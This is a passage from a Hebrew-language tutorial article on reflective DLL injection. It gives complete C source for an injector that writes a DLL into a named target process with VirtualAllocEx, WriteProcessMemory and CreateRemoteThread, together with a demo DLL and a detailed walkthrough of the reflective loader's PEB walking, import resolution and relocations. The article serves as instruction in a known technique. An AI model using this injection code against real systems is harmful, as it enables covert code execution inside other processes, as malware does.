return 0; | |
} | |
if (Process32First(hSnapshot, &processEntry)) | |
{ | |
do | |
{ | |
if (!Process32Next(hSnapshot, &processEntry)) { | |
ERROR_WITH_CODE("Could not get next process"); | |
return 0; | |
} | |
} while (strcmp(processEntry.szExeFile, name) != 0); | |
} | |
else | |
{ | |
ERROR_WITH_CODE("Could not get first process in snapshot"); | |
return 0; | |
} | |
return processEntry.th32ProcessID; | |
} |
reflective_loader.h
להלן הקוד של ה-Header file של הפרויקט שלנו:
#pragma once | |
#include <stdio.h> | |
#include <Windows.h> | |
#include <TlHelp32.h> | |
#include <winternl.h> | |
#define INDEX_TARGET_PROCESS_NAME 1 | |
#define ERROR_WITH_CODE(e) (printf("[-] ERROR: %s, 0x%x\r\n", e, GetLastError())) | |
#define ERROR(e) (printf("[-] ERROR: %s\r\n", e)) | |
#define INFO_WITH_CODE(e) (printf("[*] INFO: %s, 0x%x\r\n", e, GetLastError())) | |
#define INFO(e) (printf("[*] INFO: %s\r\n", e)) | |
#define SUCCESS(e) (printf("[+] SUCCESS: %s\r\n", e)) | |
#define DEREF( name )*(UINT_PTR *)(name) | |
#define DEREF_64( name )*(DWORD64 *)(name) | |
#define DEREF_32( name )*(DWORD *)(name) | |
#define DEREF_16( name )*(WORD *)(name) | |
#define DEREF_8( name )*(BYTE *)(name) | |
DWORD GetProcIdByName(LPCSTR name); | |
HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter); | |
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer); | |
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); |
להלן ההסבר של ה-Header file של הפרויקט שלנו:
שורות 1-6: הגדרת הספריות בהן נשתמש בקוד.
שורה 8: הגדרת קבוע לאינדקס לשם של התהליך הקורבן.
שורות 16-20: הגדרת ה-macro-ים של DEREF לסוגיו. כל מה שה-Macro-ים האלה עושים זה לקחת משתנה
כלשהו ולהפוך אותו למצביע לאותו משתנה כלשהו לפי גודל מסוים. אין פה משהו מרגש
במיוחד אתם תראו את זה בהרבה פרויקטים.
שורות 22-25: הגדרת החתימות הפונקציות שלנו.
עד לכאן הקוד של ה-reflective_loader.exe. למען הנוחות להלן הקוד של
ה-reflective_loader.c בשלמותו:
#include "reflective_loader.h" | |
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) | |
{ | |
WORD wIndex = 0; | |
PIMAGE_SECTION_HEADER pSectionHeader = NULL; | |
PIMAGE_NT_HEADERS pNtHeaders = NULL; | |
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); | |
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); | |
if (dwRva < pSectionHeader[0].PointerToRawData) | |
return dwRva; | |
for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) | |
{ | |
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) | |
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); | |
} | |
return 0; | |
} | |
DWORD GetProcIdByName(LPCSTR name) { | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPPROCESS, NULL); | |
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; | |
if (hSnapshot == INVALID_HANDLE_VALUE) | |
{ | |
CloseHandle(hSnapshot); | |
ERROR_WITH_CODE("Could not create snapshot"); | |
return 0; | |
} | |
if (Process32First(hSnapshot, &processEntry)) | |
{ | |
do | |
{ | |
if (!Process32Next(hSnapshot, &processEntry)) { | |
ERROR_WITH_CODE("Could not get next process"); | |
return 0; | |
} | |
} while (strcmp(processEntry.szExeFile, name) != 0); | |
} | |
else | |
{ | |
ERROR_WITH_CODE("Could not get first process in snapshot"); | |
return 0; | |
} | |
return processEntry.th32ProcessID; | |
} | |
HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) | |
{ | |
BOOL bSuccess = FALSE; | |
LPVOID lpRemoteLibraryBuffer = NULL; | |
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; | |
HANDLE hThread = NULL; | |
DWORD dwReflectiveLoaderOffset = 0; | |
DWORD dwThreadId = 0; | |
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); | |
if (!dwReflectiveLoaderOffset) | |
return hThread; | |
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (!lpRemoteLibraryBuffer) | |
return hThread; | |
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) | |
return hThread; | |
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); | |
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId); | |
return hThread; | |
} | |
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer) | |
{ | |
UINT_PTR uiBaseAddress = 0; | |
UINT_PTR uiExportDir = 0; | |
UINT_PTR uiNameArray = 0; | |
UINT_PTR uiAddressArray = 0; | |
UINT_PTR uiNameOrdinals = 0; | |
DWORD dwCounter = 0; | |
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; | |
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; | |
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; | |
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); | |
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); | |
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); | |
uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); | |
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; | |
while (dwCounter--) | |
{ | |
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); | |
if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) | |
{ | |
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); | |
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); | |
return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); | |
} | |
uiNameArray += sizeof(DWORD); | |
uiNameOrdinals += sizeof(WORD); | |
} | |
return 0; | |
} | |
int main(int argc, char ** argv) | |
{ | |
HANDLE hFile = NULL; | |
HANDLE hTargetProcess = NULL; | |
HANDLE hModule = NULL; | |
DWORD dwLength = NULL; | |
DWORD dwBytesRead = 0; | |
DWORD dwTargetProcessID = NULL; | |
LPVOID lpBuffer = NULL; | |
char * cpDllFile = "D:\\C\\DllReflectiveDllInjectionV2\\reflective_dll\\Debug\\reflective_dll.dll"; | |
if (argc < 2) | |
{ | |
ERROR("Wrong usage. Try: Injector.exe <name of target process>"); | |
return 0; | |
} | |
dwTargetProcessID = GetProcIdByName(argv[INDEX_TARGET_PROCESS_NAME]); | |
if (!dwTargetProcessID) { | |
ERROR("Could not find target process, maybe it is not running"); | |
return 0; | |
} | |
hFile = CreateFileA(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hFile == INVALID_HANDLE_VALUE) | |
ERROR_WITH_CODE("Failed to open the DLL file"); | |
dwLength = GetFileSize(hFile, NULL); | |
if (dwLength == INVALID_FILE_SIZE || dwLength == 0) | |
ERROR_WITH_CODE("Failed to get the DLL file size"); | |
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); | |
if (!lpBuffer) | |
ERROR_WITH_CODE("Failed to alloc a buffer!"); | |
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) | |
ERROR_WITH_CODE("Failed to read dll raw data"); | |
hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwTargetProcessID); | |
if (!hTargetProcess) | |
ERROR_WITH_CODE("Failed to open the target process"); | |
hModule = LoadRemoteLibraryR(hTargetProcess, lpBuffer, dwLength, NULL); | |
if (!hModule) | |
ERROR_WITH_CODE("Failed to inject the DLL"); | |
printf("[+] Injected the '%s' DLL into process %d.", cpDllFile, dwTargetProcessID); | |
WaitForSingleObject(hModule, -1); | |
return 1; | |
} |
reflective_dll.dll
כעת הגענו לחלק הראשי והיותר מורכב – בניית ה-DLL הרפלקטיבי שלנו. הוא מכיל את
מירב הלוגיקה שתיארתי בתחילת המאמר ואת מסת הקוד המרבית. ה-DLL מורכב מפונקציה אחת שהוא
מייצא שהיא פונקציית הטעינה הרפלקטיבית ומפונקציית ה-DllMain הראשית כמובן. הפרויקט מורכב
מארבעה קבצי קוד: ReflectiveDLLInjection.h, ReflectiveLoader.h, ReflectiveDll.c ו-ReflectiveLoader.c. שני הקבצים הראשונים הם קבצי Header ושני האחרים קבצי קוד רגיל
ב-C. נתחיל מהקובץ ReflectiveDll.c.
הקוד של ReflectiveDll.c:
#include "ReflectiveLoader.h" | |
extern HINSTANCE hAppInstance; | |
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) | |
{ | |
BOOL bReturnValue = TRUE; | |
switch( dwReason ) | |
{ | |
case DLL_QUERY_HMODULE: | |
if( lpReserved != NULL ) | |
*(HMODULE *)lpReserved = hAppInstance; | |
break; | |
case DLL_PROCESS_ATTACH: | |
hAppInstance = hinstDLL; | |
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); | |
break; | |
case DLL_PROCESS_DETACH: | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
break; | |
} | |
return bReturnValue; | |
} |
ההסבר לקוד של ReflectiveDll.c:
הקוד מאוד פשוט ולא מכיל יותר מידיי הפתעות.
שורה 1: הכללת ה-Header השני הלוא הוא ReflectiveLoader.h.
שורה 2: ייצוא משתנה ב-DLL.
שורה 4-23: אין פה משהו ששוה להתעכב עליו
– ככה נראה כל DllMain שמקבלים כשיוצרים פרויקט DLL ב-VisualStudio. מלבד שורות 14-15 בהן אנו
מגדירים ערך למשתנה שייצאנו בשורה 2, והקפצת חלון שמודיע שהפונקציה רצה בהצלחה
וה-DLL צורף לתהליך.
הקוד של ReflectiveLoader.c:
ההסבר לקוד של ReflectiveLoader.c:
ההסבר יחולק למספר שלבים כאשר בכל שלב אסביר חלק אחר בלוגיקה של ה-DLL. כאן מוכל מימוש הטכניקה של
הטעינה הרפלקטיבית. לשם מספר פסקאות אלו שלפנינו למעשה התכנסנו. לכן למקרה
שהתעייפתם תעשו קפה ותחזרו.. מעולה, עכשיו אפשר להתחיל.
השלב הראשון בו נעסוק הוא מציאת הכתובת אליה נטען ה-DLL בצורת ה-Raw Data שלו. כדי לעשות זאת נשתמש
בשני טריקים נחמדים. הכתובת אליה נטענו היא למעשה היכן שמתחיל ה-Raw Data שלנו ומה שמכיל ה-Raw Data בתחילתו זה ה-Magic Number הידוע של קבצי PE הלא הוא ‘MZ’ על שם הוגה הפורמט. לכן נחפש
את החתימה הזו. אך כדי לעשות זאת נצטרך לדעת באיזה כתובת להתחיל. הכתובת שנתחיל
בה צריכה להיות איפשהו בתוך ה-Raw Data כך שנוכל לרוץ אחורה Byte אחרי Byte עד שנמצא את ה-'MZ'. פה נכנס הטריק השני (למי
שלא היה ברור החשבתי את מציאת ה-Base Address שלנו לפי 'MZ' כטריק הראשון) שאומר שכדי
למצוא נקודה מסוימת ב-Raw Data למה שלא ננסה להשיג את הכתובת
של הקוד אותו אנו מריצים כעת. מכיוון שבלתי אפשרי לבצע פקודת Assembly לשמירת ה-EIP (אוגר שמכיל את הכתובת הבאה
שהמעבד יריץ), כלומר לא ניתן לרשום הוראת PUSH EIP (שמירת ה-EIP במחסנית), נצטרך למצוא דרך
אחרת שתספק לנו את זה, או משהו דומה לזה לפחות. אחד הדברים שאפשר לעשות זה
להשתמש בקריאה לפונקציה שתחזיר לנו את הכתובת שהמעבד יריץ אחרי שהפונקציה
תסתיים. כלומר לאן תחזיר הפונקציה את השליטה על הקוד. נעיף מבט על הקוד כדי
לראות על מה אני מדבר.
שורה 1: הכללת ה-Header בדומה למה שעשינו בפעם
הקודמת.
שורה 3: השוואת המשתנה שייצאנו ל-NULL.
שורות 5-7: כאן אנו מייצרים את המנגנון שיאפשר לנו להחזיר את הכתובת אותה אנו
הולכים להריץ. למעשה בנינו פונקציה בשם caller שכל מה שהיא עושה זה להחזיר
מצביע לערך שמחזיר ה- Intrinsic __ReturnAddress. ה-Intrinsic הזה למעשה מחזיר את הכתובת
הבאה שתורץ אחרי שהשליטה תוחזר למי שקרא לפונקציה. כך למעשה caller מחזירה את הכתובת של הפקודה
שתהיה אחרי מי שקרא לה. וכך נוכל להשיג את הכתובת של הקוד שלנו.
שורות 9-36: הגדרות של מספר משתנים שנצטרך בהמשך. כן יש לא מעט אבל ישנה גם לא
מעט עבודה לעשות בפונקציה.
שורה 38: שמירת הערך שמחזירה לנו הפונקציה caller עליה דיברנו לפני רגע.
שורות 40-55: השגת כתובת תחילת ה-Raw Data. יש לנו לולאה אין סופית
לכאורה, שתעצור רק ברגע שאנו מוצאים את ה-Raw Data. אנו מניחים שאנחנו קובץ הרצה
שלם ואכן יש ‘MZ’ איפשהו בהמשך כך שזה התנאי
היחיד לעצירת הלולאה. בכל איטרציה אנו בודקים אם הכתובת עליה אנו מצביעים
(שמתחילה ממה ש-caller החזירה לנו) מכילה את
ה-‘MZ’. זה נעשה עם הקבוע IMAGE_DOS_SIGNATURE. אם כן זה לא הסוף. נרצה
לוודא את ה-‘MZ’ הזה ולכן ננסה לקחת את הערך
אליו מצביע השדה e_lfnew שכבר הכרנו מוקדם יותר. בגלל
שזה מצביע ל-Header הבא הוא יהיה גדול מהמבנה של IMAGE_DOS_HEADER אבל גם קטן מהמספר 1024. אם
התנאי מתקיים סימן שמצאנו את המיקום הנכון. נחבר את ה-e_lfnew לכתובת הנוכחית באיטרציה
ווודא דבר אחרון – שאכן הסכום שלהן מעניק כתובת שמכילה את החתימה של ה-NTHeader באמצעות השוואה לקבוע IMAGE_NT_SIGNATURE. כאשר כל התנאים מתקיימים נצא
מהלולאה כאשר בידנו כתובת הבסיס אליה נטען ה-Raw Data.
עד לכאן חלק א' של ה-DLL (או שלב 5 על פי התרשים).
השלב הבא הוא השגת הכתובות של הפונקציות שאנו צריכים. משורה 57 עד שורה 144 זאת
פחות או יותר המטרה.
שורה 57: המצביע ל-PEB נמצא האוגר FS ב-Offset של 0x30. לכן נשתמש בפונקציה __readfsdword עם הפרמטר 0x30 ונקבל מצביע ל-PEB.
שורה 58: המבנה של PEB מכיל הצבעה למבנה אחר שמכיל
את המידע איתו מתעסק ה-Loader של Windows כאשר הוא טוען מודול או קובץ
הרצה. כאן נמצא המידע לגבי כל המודולים שהתהליך טען.
שורה 59: המבנה משורה 58, מכיל מבנה שהוא חוליה בשרשרת. כל חוליה מייצגת מודול
טעון לתהליך. לכן אם נעבור על כל חוליה נוכל למצוא את החוליות של Kernel32.dll ושל Ntdll.dll. לכן נתחיל לרוץ עם לולאה על
כל החוליות.
שורות 61-65: הגדרת הלולאה, הוצאת השם של המודול של החוליה הנוכחית בתהליך
הקורבן (בו אנו רצים כעת למי ששכח), הוצאת אורך השם הזה ועוד הגדרת משתנה
שנשתמש בו בהמשך.
שורות 68-77: כדי להימנע מהשוואה שמית של המודול שאנו מחפשים עם המודול הנוכחי
אנו נעשה זאת באמצעו חישוב Hash פשוט של השם של המודול הנוכחי
והשוואה שלו ל-Hash שחושב מבעוד מועד עם אותו
אלגוריתם על השמות של המודולים שאנו מחפשים. כך בשורות הללו אנו מצבעים את
האלגוריתם לחישוב ה-Hash. ממש לא קריטי להבנה של
הטכניקה.
שורות 79-108: טיפול במקרה שנמצא המודול Kernel32.DLL. במצב הזה אנחנו צריכים
להתחיל לרוץ על כל ה-Exports של ה-DLL הזה. השורות 81-86 מגיעות
ל-Export Table באותה צורה שהסברנו מוקדם
יותר במאמר. בשורה 87 נגדיר את מספר הפונקציות שאנו רוצים למצוא במודול הזה –
המספר 3 כי אנו רוצים למצוא את LoadLibraryA, GetProcAddress ו-VirtualAlloc. לאחר מכן נתחיל בלולאה בה
נרוץ על כל השמות של ה-Exports של המודול ונשווה (שוב לא
שמית, על ידי Hash) את השמות של ה-Exports מול השמות שאנו מחפשים. כל
עוד לא מצאנו את שלושת הפונקציות אנו ממשיכים (אנו יוצאים מנקודת הנחה
שהפונקציות חייבות להיות שם). כך בשורה 91 אנו מחשבים את ה-Hash של ה-Export הנוכחי. בשורה 93 אנו בודקים
אם ה-Hash מתאים לאחד ה-Hash-ים של הפונקציות שאנו מחפשים
ואם כן נכנסים לבלוק של קוד. מטרת הבלוק היא לשמור את הכתובת של הפונקציה
שמצאנו הרגע. לכן בשורה 95 אנו משיגים את הכתובת של תחילת מערך כתובות ה-Exports. בשורה 96 אנו משיגים את
הכתובת של האלמנט הספציפי, כלומר של ה-Export הספציפי בו אנו נמצאים
באיטרציה הנוכחית. בשורות 92-102 אנו משייכים את הכתובת לפונקציה הספציפית
ושומרים אותה. ובשורה 103 אנו מפחית ב-1 את מונה הפונקציות שנאשר לנו למצוא
במודול הנוכחי. לאחר שיצאנו מהבלוק של התנאי, בשורות 105-108 אנו מתקדמים
ל-Export הבא ב-Kernel32.dll.
שורות 109-138: קורה בדיוק אותו הדבר כמו בשורות 79-108 רק במטרה למצוא את
הפונקציה NtFlushInstructionCache. אין צורך להסביר זאת
בשנית.
שורות 140-144: במידה וכל הפונקציות שחיפשנו בידינו, נוכל לסיים את החיפוש.
במידה ולא נמשיך למודול הבא.
עד לכאן לשלב מציאת הפונקציות. כמתואר בתרשים – נעבור לשלב אכלוס זכרון
ל-DLL בצורתו כטעון. בנוסף נכלול
בהסבר הבא גם את השלב הבא – העתקת ה-Header-ים וה-Section-ים לזיכרון שאכלסנו הרגע. כל
זה למעשה נמצא בשורות 146-169.
שורות 146-147: חילוץ הגודל של ה-DLL בצורתו בזיכרון על ידי השדה SizeOfImage ב-OptionalHeader והקצאת הגודל הנ"ל בזיכרון של
הקורבן. לכאן נעתיק את ה-Header-ים וה-Section-ים.
שורות 149-151: הגדרת משתנים בהם נשתמש עוד רגע.
שורות 153-154: העתקה של Byte אחרי Byte של ה-Header לפי הגודל שמצוין בשדה SizeOfHeaders ב-OptionalHeaders.
שורות 156-157: חילוץ כתובת תחילת ה-Section-ים וחילוץ מספר ה-Section-ים שיש להעתיק.
שורות 159-169: לולאה שהמטרה שלה היא להעתיק את כל ה-Section-ים. זה מתבצע באמצעות חילוץ
הכתובת הווירטואלית אליה ה-Section-ים אמורים להיות מועתקים כאשר
הם טעונים לזיכרון, חילוץ המיקום של ה-Section-ים בצורת ה-Raw Data שלהם (המקור להעתקה), וחילוץ
הגודל של ה-Section-ים שנעתיק. כל אחת מהפעולות
מבוצעת על כל Section באיטרציה שרלוונטית אליו.
לאחר מכן לולאה שעושה את מה ששורות 153-154 עושות רק שהפעם בהקשר של ה-Section-ים
אלו הם השלבים 7 ו-8 על פי התרשים וכעת נעבור לחלק הבא – Resolving ל-Imports.
לפני שאמשיך ארצה לעצור ולעשות סיכום ביניים קצר. המצב שלנו עד כה בהקשר של
ה-DLL הוא שהשגנו את הכתובת אליה
נטען ה-Raw Data של ה-DLL. לאחר מכן השגנו את הכתובות
של הפונקציות שהיינו חייבים כדי להמשיך לממש את הלוגיקה של הטעינה. הסיבה
שהיינו צריכים להשיג את הכתובות ולא יכולנו פשוט להשתמש בקריאה לפונקציות האלו
היא שאין לנו מושג היכן הן נמצאות בזיכרון (מהפרספקטיבה של ה-DLL) מאחר ואנו פונקציה עם קוד
שהוא PIC. לאחר השגת הכתובות אכלסנו
מקום חדש שאליו נרצה למפות את ה-DLL בצורתו כטעון, כלומר האופציה
הנגדית לצורתו כ-Raw Data על הדיסק. אחרי שביצענו זאת
התפננו להעתקה של ה-Header-ים כמו שהם שהרי אין הבדל בין
צורתם בזיכרון לצורתם על הדיסק ואז העתקנו Section אחרי Section בצורתם בזיכרון על פי ההוראות
הכתובות לכל Section ב-Section Header התואם לו. המצב בזיכרון הוא
שיש לנו חלל אחד בו עדיין ה-Raw Data נמצא וכחלק מה-Raw Data הזה ישנה הפונקציה שמורצת כעת
הלא היא פונקציית הטעינה הרפלקטיבית. ובנוסף לכך, יש לנו חלל נוסף בזיכרון בו
נמצא ה-DLL בצורתו כטעון. אולם ללא Relocations וללא Imports מסודרים ולכן אלו השלבים
הבאים שנעסוק בהם.
אם כן, הגיע הזמן לדבר על ה-Imports.
ראשית אנו מניחים שאכן יש Imports שה-DLL צריך לייבא. אחרת כל התהליך
לא רלוונטי והרי מלבד DLL-ים שמקומפלים סטטית – כלומר
כל ה-Imports שלהם מושתלים במלואם בתוכם,
לא נפוץ שקובץ הרצה יהיה עצמאי לחלוטין. ה-DLL-ים הבסיסיים ביותר ייבואו
מ-Kernel32.dll ועוד ולכן סביר להניח שהתהליך
יהיה רלוונטי ונחוץ. המתודולוגיה שלנו תהיה טעינה עם LoadLibray של כל מודול שה-DLL שלנו מייבא ממנו ולאחר מכן
עבור כל פונקציה שה-DLL מייבא מתוך כל מודול, נשתמש
ב-GetProcAddress כדי לקבל את הכתובת שלה. הקוד
בשורות 171-203 אחראי לעשות זאת ועליו נעבור עכשיו.
שורות 171-172: נשיג את הכתובת של ה-Import Directory אשר ממנו נתחיל לעבור על
שרשרת של מבנים מסוג IMAGE_IMPORT_DESCRIPTOR כאשר כל מבנה מייצג מודול
ממנו ה-DLL שלנו מייבא. כל מבנה כזה מכיל
את המידע (או הפניות למידע) הנחוץ כדי לדעת מה לייבא מהמודול שהרי אין צורך
לייבא את כל הפונקציות ממודול מסוים רק כדי להשתמש בפונקציה אחת במודול הזה.
שורה 174: ניצור לולאה שתרוץ כל עוד ההפניה לשם של המודול אינה ריקה. למעשה
ה-IMAGE_IMPORT_DESCRIPTOR האחרון הוא מעיין Null-Terminator. הוא מכיל אפסים ולפי זה ניתן
לדעת שהשרשרת הסתיימה.
שורה 176: קריאה ל-LoadLibrary כדי לטעון את המודול.
שורות 177-178: שמירת הכתובות של מערכי ה-Import Name Table ו-Import Address Table.
שורה 180: כל עוד יש פונקציות לעבור עליהן הלולאה תמשיך.
שורות: 182-195: כאן יש לנו שתי אופציות: ייבוא של Import באמצעות שם או באמצעות מספר
סידורי שלו. בתנאי הראשון נטפל במצב שהייבוא הוא באמצעות מספר סידורי. במצב הזה
ניקח את הכתובת שקיבלנו מ-LoadLibrary ונעשה את כל הדרך למערך
הכתובות של ה-Exports של המודול ממנו אנו מייבאים
(ככה עבור כל מודול מן הסתם). לאחר מכן כדי לקבל את האלמנט שאחראי לפונקציה
שאנו מחפשים (יש לנו את המספר הסידורי שלה) נבצע חישוב ונחסר מהמספר הסידורי את
ה-Base שמצוין ב-Export Directory של המודול (כל מודול יכול
להתחיל מ-Base מסוים את הספירה שלו ולכן כדי
לקבל את האינדקס הספציפי נעשה Ordinal פחות Base). נכפיל את המספר המתקבל
בגודל של DWORD (הגודל של כל אלמנט) ונקבל את
הכתובת של הפונקציה. נשווה את האלמנט המתאים ב-Import Address Table שלו לכתובת של הפונקציה. כך
נעשה עבור כל Import שמיובא על פי מספר סידורי
(אורדינלית). האופציה השנייה והפשוטה יותר היא ייבוא באמצעות שם ובשורות
191-195 אנחנו מטפלים במקרים בהם האופציה הזו היא הנכונה. כאן נשתמש ב-GetProcAddress והוא יעשה לנו את העבודה
ויימצא את הכתובת של הפונקציה במודול על פי השם שנספק לו. בשורות הבאות נמשיך
ל-Import הבא ב-Import Descriptor הנוכחי. בשורה 202 שהיא כבר
מחוץ ללולאה הפנימית, נעבור ל-Import Descriptor הבא. בכך בצענו Import Resolving וכל הכתובות של ה-Imports של ה-DLL שלנו מסודרות במקומן.
השלב הבא הוא פתירת ה-Relocations. בשורות 205-235 הקוד שלנו
יעסוק בהתמודדות עם אתגר ה-Relocations. את הלוגיקה הכללית של הקוד
כבר הסברתי מוקדם יותר במאמר כעת אסביר עבור השורות השונות באופן פרטני
יותר.
שורות 205-206: נשיג את הכתובת של טבלת ה-Relocations דרך ה-Image Directory המתאים.
שורה 208: אנו מוודאים שאכן יש טבלת Relocations והיא לא בגודל אפס. אם לא אין
לנו מה להמשיך את הקוד ונעבור לשלב הבא.
שורה 210: נשיג את הכתובת המלאה של הטבלה.
שורה 212: כדי להבין את הקוד הבא אסביר קונספט קצר לגבי מבנה טבלת ה-Relocations. כל הטבלה הזו מורכבת
מבלוקים. כל בלוק מכיל מספר רשומות כאשר כל רשומה מכילה כתובת וירטואלית יחסית
(RVA) לערך שמושפע במצב של Relocation. כלומר ה-RVA הזה, אחר המרה ל-VA, יצביע לי למיקום מסוים
ב-DLL שיהיה מושפע במצב שה-Preferred Address לא ייבחר על ידי ה-Loader ויש צורך לעדכן את הערך
במיקום הזה בעקבות כך. לדוגמה רשומה בבלוק כלשהו עשויה להחיל RVA שה-VA הנובע ממנו יצביע להוראת CALL שקוראת ל-VA
כלשהי שרלוונטית ונכונה רק במידה וה-DLL נטען ל-Preferred Address שלו. ברגע שהוא לא נטען לשם,
אם ההוראה תרוץ כמו שהיא, תקרה התנהגות בלתי צפויה של הקוד (סביר להניח שפשוט
יקרה Access Violation אך לא בהכרח). לכן עלינו
לערוך את המידע בכל רשומה. הלולאה שנבנה תמשיך לרוץ כל עוד הגודל של הבלוק שהיא
מצביעה עליו כעת הוא אינו אפס.
שורות 214-216: תחילה נשמור את הכתובת של ה-Relocation Block הנוכחי. לאחר מכן נשמור את
מספר הרשומות בבלוק הזה באמצעות
חישוב של גודל הבלוק פחות גודל של מבנה IMAGE_BASE_RELOCATION וכך נקבל את הגודל של הרשומות
בלבד בתוך הבלוק הזה. את הערך המתקבל נחלק בגודל של רשומה (המבנה IMAGE_RELOC מוגדר באחד מה-Header-ים של הקוד שלנו עליהם נדבר
בהמשך). ובסוף נשמור הכתובת של הרשומה הראשונה בבלוק.
שורות 218-231: נבנה לולאה שממשיכה לרות כל עוד לא כלו אוסף הרשומות בבלוק
עליו אנו רצים כעת. בתוך הלולאה נבחן את סוג ה-Relocation ולפי הסוג נדע לבצע את
ה-Relocation הנכון. אלו ה-Relocation-ים הרלוונטיים לנו מתוך כל
האפשריים (יש המון). למעשה ההבדל בין כל אחד מהסוגים שאנו ציינו בקוד הוא הגודל
והחלק שעליו אנו עושים את השינוי. לאחר שביצענו (במקרה שביצענו שינוי) נעבור
לרשומה הבאה בבלוק כך עד שנעבור על כל הרשומות בבלוק.
שורות 233-235: נעבור לבלוק הבא ונסגור את הלולאה והתנאי שפתחנו קודם לכן.
כעת נשאר לנו לקרוא ל-DLLMain שלנו.
שורה 237: נחלץ את ה-Address Of Entry Point של ה-DLL שלנו.
שורה 238: נשתמש בפונקציה NtFlushInstructionCache כדי לנקות שאריות לאחר שערכנו
את ה-Relocations למקרה שמשהו נשמר ב-Cache הזה.
שורה 239: נקרא ל-DllMain ובכך סיימנו את הפונקציה
הרפלקטיבית שלנו.
אנחנו ממש לקראת סיום שני הדברים האחרונים שנכסה הם ה-Header-ים של הקוד שלנו.
להלן הקוד של ReflectiveDLLInjection.h:
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
#define DLL_QUERY_HMODULE 6 | |
#define DEREF( name )*(UINT_PTR *)(name) | |
#define DEREF_64( name )*(DWORD64 *)(name) | |
#define DEREF_32( name )*(DWORD *)(name) | |
#define DEREF_16( name )*(WORD *)(name) | |
#define DEREF_8( name )*(BYTE *)(name) | |
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); | |
#define DLLEXPORT __declspec( dllexport ) |
להלן ההסבר לקוד של ReflectiveDLLInjection.h:
כמו שאתם יכולים לראות בעצמכם את הרבה מה להסבר. כל שה-Header הזה מכיל הוא Macro שכבר הכרנו (DEREF), הגדרה שזהה להחתימה של
הפונקציה DllMain כדי שנוכל לקרוא לפונקציה הזו
באותה הצורה והערה נוספת ל-Preprocessor למען הנוחות והקריאות של הקוד
שלנו.
להלן הקוד של ReflectiveLoader.h:
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
#include <intrin.h> | |
#include "ReflectiveDLLInjection.h" | |
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); | |
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); | |
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); | |
